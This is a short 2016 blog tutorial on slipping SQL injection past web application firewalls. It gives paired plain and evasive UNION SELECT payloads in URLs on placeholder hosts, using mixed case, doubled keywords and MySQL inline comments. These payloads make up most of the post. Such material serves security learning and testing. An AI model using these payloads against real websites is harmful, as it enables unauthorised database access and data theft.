Part 2: Bypass a Web Application Firewall (WAF)

July 29, 2016 | Views: 8073

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Function Capitalization Technique:-
For those WAF’s, which filter only lowercase, we can easily bypass:

Query!
http://lxy.com/cost.php?id=90 UNION SELECT 1,2,3—

Bypass!
http://lxy.com/cost.php?id=-90 uniOn SeLeCt 1,2,3—

 

Replaced Keywords Technique:-
For those WAF’s, which escape certain keywords such as UNION, SELECT, ORDER BY, and so on:

Query!
http://abcxyz.com/itemdetail.php?id=-57 UNION SELECT 1,2—

Bypass!
http://abcxyz.com/itemdetail.php?id=-57 UNIunionON SEselectLECT 1,2—

Sqli
http://xyz.com/pricing.php?id=32 union all select 1,2,3—-

By passed Sqli
http://xyz.com/pricing.php?id=32 /*!UNION*/ +/*!ALL*/+/*!SELECT*/+1,2,3—-

 


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Ali Tabish

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9 Comments
  1. nice thanks

  2. Great! 😀

  3. Good article

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